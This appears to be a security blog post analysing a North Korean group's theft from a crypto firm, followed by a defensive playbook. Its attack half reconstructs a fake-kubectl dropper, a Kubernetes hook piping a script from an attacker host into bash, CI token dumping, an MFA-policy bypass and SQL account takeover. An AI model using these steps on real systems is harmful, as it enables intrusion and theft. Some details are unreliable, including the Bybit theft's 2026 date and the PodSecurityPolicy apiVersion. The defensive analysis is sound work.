From AirDrop to Cloud Heist: How North Korea's UNC4899 Stole Millions From a Crypto Firm Through a Single Developer's Mistake
A detailed technical breakdown of one of the most sophisticated state-sponsored crypto thefts of 2025-2026 — and the defense patterns every crypto organization needs.
The Kill Chain Nobody Saw Coming
In March 2026, Google Cloud published their H1 2026 Cloud Threat Horizons Report detailing a devastating attack against a cryptocurrency firm. The attacker wasn't a lone hacker exploiting a smart contract bug. It was UNC4899 — a North Korean state-sponsored threat group (also tracked as Jade Sleet, TraderTraitor, Slow Pisces) — and they turned a single developer's mistake into a multi-million-dollar cryptocurrency theft.
The attack didn't start with a zero-day exploit or a phishing email. It started with AirDrop.
Phase 1: Social Engineering → Developer Compromise
The attack chain began with a classic approach: social engineering a developer through a fake open-source collaboration opportunity.
Attack Timeline - Phase 1:
┌─────────────────────────────────────────────────┐
│ 1. Attacker contacts developer (social eng.) │
│ 2. Developer downloads archive (personal device)│
│ 3. AirDrop → corporate workstation │
│ 4. IDE opens archive → executes Python payload │
│ 5. Binary masquerades as `kubectl` │
│ 6. Backdoor connects to C2 server │
└─────────────────────────────────────────────────┘
The developer transferred the malicious archive from their personal device to their corporate workstation via Apple AirDrop — bypassing every corporate security control in one tap. Their AI-assisted IDE then interacted with the archive contents, eventually executing embedded Python code that spawned a binary disguised as a Kubernetes CLI tool (kubectl).
Why This Matters for Crypto Orgs
Most crypto companies operate with startup culture: developers use personal devices, install whatever they want, and move files freely between devices. This is the exact attack surface UNC4899 exploited.
# What the malicious Python likely looked like (reconstructed pattern)
import subprocess
import os
import platform
import tempfile
# Stage 1: Drop the fake kubectl binary
PAYLOAD_NAME = "kubectl" if platform.system() != "Windows" else "kubectl.exe"
payload_path = os.path.join(tempfile.gettempdir(), PAYLOAD_NAME)
# Embedded base64-encoded binary (truncated for illustration)
# In reality: downloads from attacker-controlled CDN
def stage_payload():
# Masquerade as legitimate Kubernetes tool
# Actually: C2 backdoor with credential harvesting
subprocess.Popen(
[payload_path, "--config", "cluster.yaml"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True # Detach from parent process
)
Phase 2: Cloud Pivot — Living Off the Cloud
Once on the corporate machine, UNC4899 used authenticated sessions and available credentials to pivot into Google Cloud. This is where the attack became truly sophisticated.
Step 1: Reconnaissance
# What the attacker likely ran (reconstructed from Google's report)
# List all GCP projects
gcloud projects list
# Enumerate Kubernetes clusters
gcloud container clusters list --project TARGET_PROJECT
# Get credentials for the cluster
gcloud container clusters get-credentials CLUSTER_NAME \
--zone ZONE --project TARGET_PROJECT
# List all pods across namespaces
kubectl get pods --all-namespaces
Step 2: Bastion Host MFA Bypass
The attackers found a bastion host and modified its MFA policy attribute to bypass multi-factor authentication. This gave them direct access to the Kubernetes environment.
# Bastion host IAP (Identity-Aware Proxy) policy modification
# The attacker weakened MFA requirements:
accessPolicies:
- title: "bastion-access"
accessLevels:
- basic:
conditions:
- # MFA requirement REMOVED by attacker
# Original: requireMfa: true
devicePolicy:
requireScreenlock: false
Step 3: Kubernetes Persistence via Deployment Injection
UNC4899 modified Kubernetes deployment configurations to execute a backdoor automatically when new pods were created — a textbook Living off the Cloud (LotC) technique:
# Modified Kubernetes deployment (persistence mechanism)
apiVersion: apps/v1
kind: Deployment
metadata:
name: legitimate-service
spec:
template:
spec:
containers:
- name: app
image: company-registry/legitimate-app:v2.1
# INJECTED by attacker:
lifecycle:
postStart:
exec:
command:
- /bin/sh
- -c
- |
curl -s https://attacker-cdn[.]com/b | bash &
Step 4: CI/CD Token Harvesting
This is where it gets devastating. The attackers modified CI/CD pipeline resources to leak service account tokens into logs:
# Modified CI/CD pipeline step (token exfiltration)
steps:
- name: "build"
script: |
echo "Building..."
# INJECTED: dump service account token to logs
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Attacker monitors logs for this output
With a high-privileged CI/CD service account token, they escalated privileges, performed lateral movement, and eventually reached a privileged pod handling network policies.
Step 5: Container Escape → Database Compromise
From the privileged pod, UNC4899 escaped the container and deployed another backdoor. Then came the final target: a workload managing customer wallet information.
# Credential extraction from pod environment variables
# (This is what the attacker found — stored INSECURELY)
import os
# These should NEVER be in environment variables
DB_HOST = os.environ.get('CLOUD_SQL_HOST')
DB_USER = os.environ.get('DB_USERNAME') # "prod_admin"
DB_PASS = os.environ.get('DB_PASSWORD') # Plaintext password
DB_NAME = os.environ.get('DB_NAME') # "wallets_prod"
# Attacker used Cloud SQL Auth Proxy to connect:
# cloud-sql-proxy --credentials-file=/stolen/creds.json PROJECT:REGION:INSTANCE
Step 6: The Theft
With database access, the attackers executed SQL commands to reset passwords and MFA seeds for high-value accounts, then withdrew millions in cryptocurrency:
-- Account takeover via direct database manipulation
-- (Reconstructed from Google's description)
-- Reset password for high-value account
UPDATE users
SET password_hash = '$2b$12$ATTACKER_CONTROLLED_HASH',
mfa_seed = 'ATTACKER_CONTROLLED_TOTP_SEED',
mfa_enabled = true,
updated_at = NOW()
WHERE account_id IN (
SELECT account_id FROM wallets
WHERE balance_usd > 1000000
ORDER BY balance_usd DESC
LIMIT 10
);
-- The attacker now controls these accounts' login AND 2FA
The Defense Playbook: 6 Layers Every Crypto Org Needs
Layer 1: Device Isolation (Kill the AirDrop Vector)
#!/bin/bash
# macOS: Disable AirDrop on corporate devices via MDM
# Add to device management profile
# Disable AirDrop completely
defaults write com.apple.sharingd DiscoverableMode -string "Off"
# Block Bluetooth file transfers
sudo defaults write /Library/Preferences/com.apple.Bluetooth \
BluetoothAutoSeekKeyboard -bool false
# Verify
echo "AirDrop status:"
defaults read com.apple.sharingd DiscoverableMode
Policy requirements:
- No P2P file transfer (AirDrop, Bluetooth, USB) on corporate devices
- Separate personal and corporate device usage completely
- Use managed file transfer (approved cloud storage only)
Layer 2: Kubernetes Runtime Security
# Pod Security Standards - Restrict privileged containers
apiVersion: policy/v1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
runAsUser:
rule: MustRunAsNonRoot
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
hostNetwork: false
hostIPC: false
hostPID: false
---
# Falco rule to detect token access in CI/CD
- rule: Service Account Token Read in CI Pipeline
desc: Detect when a CI/CD process reads service account tokens
condition: >
open_read and
fd.name = "/var/run/secrets/kubernetes.io/serviceaccount/token" and
container.image.repository contains "ci-runner"
output: >
CI pipeline reading service account token
(user=%user.name command=%proc.cmdline container=%container.name)
priority: CRITICAL
Layer 3: Secrets Management (Never Environment Variables)
# ❌ WRONG: Secrets in environment variables (what the victim did)
DB_PASSWORD = os.environ.get('DB_PASSWORD')
# ✅ RIGHT: Use a secrets manager with short-lived credentials
from google.cloud import secretmanager
def get_db_credentials():
"""Fetch credentials from Secret Manager with audit logging."""
client = secretmanager.SecretManagerServiceClient()
# Access the secret version
name = f"projects/PROJECT_ID/secrets/db-credentials/versions/latest"
response = client.access_secret_version(request={"name": name})
# Parse and return (short-lived, rotated automatically)
import json
return json.loads(response.payload.data.decode("UTF-8"))
# Even better: Use Workload Identity + Cloud SQL IAM authentication
# No passwords at all — identity-based access
Layer 4: CI/CD Pipeline Integrity
# GitHub Actions / Cloud Build: Prevent token exfiltration
# Use OIDC-based authentication instead of long-lived tokens
# Workload Identity Federation (no static credentials)
steps:
- id: 'auth'
uses: 'google-github-actions/auth@v2'
with:
workload_identity_provider: 'projects/PROJECT/locations/global/workloadIdentityPools/POOL/providers/PROVIDER'
service_account: 'ci-sa@PROJECT.iam.gserviceaccount.com'
# No exported credentials — federated identity only
# Log monitoring for token leakage
- id: 'scan-logs'
run: |
# Fail build if any secrets appear in logs
if grep -rn "eyJ" /tmp/build-logs/ 2>/dev/null; then
echo "ALERT: Possible token leakage detected in build logs!"
exit 1
fi
Layer 5: Database Access Controls (Defense in Depth)
-- Prevent bulk account modification even with DB access
-- Use row-level security and audit logging
-- Trigger: Alert on suspicious bulk modifications
CREATE OR REPLACE FUNCTION audit_user_modification()
RETURNS TRIGGER AS $$
BEGIN
-- Log every modification to audit table
INSERT INTO security_audit_log (
table_name, operation, old_data, new_data,
modified_by, modified_at, source_ip
) VALUES (
TG_TABLE_NAME, TG_OP,
row_to_json(OLD), row_to_json(NEW),
current_user, NOW(), inet_client_addr()
);
-- Alert if password or MFA changed
IF OLD.password_hash != NEW.password_hash
OR OLD.mfa_seed != NEW.mfa_seed THEN
-- Send real-time alert
PERFORM pg_notify('security_alerts', json_build_object(
'event', 'credential_change',
'account_id', NEW.account_id,
'source_ip', inet_client_addr(),
'timestamp', NOW()
)::text);
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER user_mod_audit
BEFORE UPDATE ON users
FOR EACH ROW
EXECUTE FUNCTION audit_user_modification();
Layer 6: Withdrawal Circuit Breakers
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title WithdrawalGuard — Rate-limited withdrawals with anomaly detection
contract WithdrawalGuard {
struct WithdrawalWindow {
uint256 amount;
uint256 windowStart;
}
mapping(address => WithdrawalWindow) public windows;
uint256 public constant WINDOW_DURATION = 1 hours;
uint256 public constant MAX_PER_WINDOW = 100_000e18; // $100K per hour
uint256 public constant COOLDOWN_THRESHOLD = 500_000e18; // $500K triggers cooldown
uint256 public globalWithdrawnToday;
uint256 public dayStart;
bool public emergencyPause;
event WithdrawalFlagged(address indexed account, uint256 amount, string reason);
event EmergencyPauseTriggered(uint256 totalWithdrawn);
modifier notPaused() {
require(!emergencyPause, "Withdrawals paused — anomaly detected");
_;
}
function processWithdrawal(address account, uint256 amount)
external
notPaused
returns (bool)
{
// Reset daily counter
if (block.timestamp > dayStart + 1 days) {
globalWithdrawnToday = 0;
dayStart = block.timestamp;
}
// Per-account rate limit
WithdrawalWindow storage w = windows[account];
if (block.timestamp > w.windowStart + WINDOW_DURATION) {
w.amount = 0;
w.windowStart = block.timestamp;
}
require(
w.amount + amount <= MAX_PER_WINDOW,
"Rate limit: max $100K per hour"
);
// Global circuit breaker
globalWithdrawnToday += amount;
if (globalWithdrawnToday > COOLDOWN_THRESHOLD) {
emergencyPause = true;
emit EmergencyPauseTriggered(globalWithdrawnToday);
return false;
}
w.amount += amount;
return true;
}
}
The UNC4899 Audit Checklist
Before your next security review, verify these controls:
| # | Control | Check |
|---|---|---|
| 1 | Device isolation | P2P transfers (AirDrop/Bluetooth) disabled on corporate devices? |
| 2 | Container security | All pods running as non-root, no privileged mode? |
| 3 | Secrets management | Zero secrets in environment variables or pod specs? |
| 4 | CI/CD integrity | Pipeline outputs scanned for token/credential leakage? |
| 5 | MFA enforcement | MFA policies immutable (require approval to change)? |
| 6 | Database guards | Audit triggers on credential/MFA modifications? |
| 7 | Withdrawal limits | Rate limiting + global circuit breakers on crypto withdrawals? |
| 8 | Deployment integrity | Admission controllers block unauthorized image/config changes? |
| 9 | Identity federation | Using OIDC/Workload Identity instead of static credentials? |
| 10 | Lateral movement detection | Alerts on unusual pod-to-pod or pod-to-database traffic? |
The Bigger Picture
UNC4899's attack wasn't technically novel — every individual step (social engineering, credential theft, container escape, database manipulation) is well-documented. What made it devastating was the chain: each weak link connected to the next, and no single defense stopped the progression.
This is the same pattern we see in DeFi protocol hacks. The Bybit $1.5B theft (February 2026) likely followed a similar developer-compromise → infrastructure-pivot pattern. The Step Finance $40M collapse started with executive device compromise.
The lesson: crypto organizations need to defend like nation-states are attacking them — because they are.
DreamWork Security publishes weekly DeFi security research. Follow for vulnerability analyses, audit tool comparisons, and defense playbooks.
Top comments (0)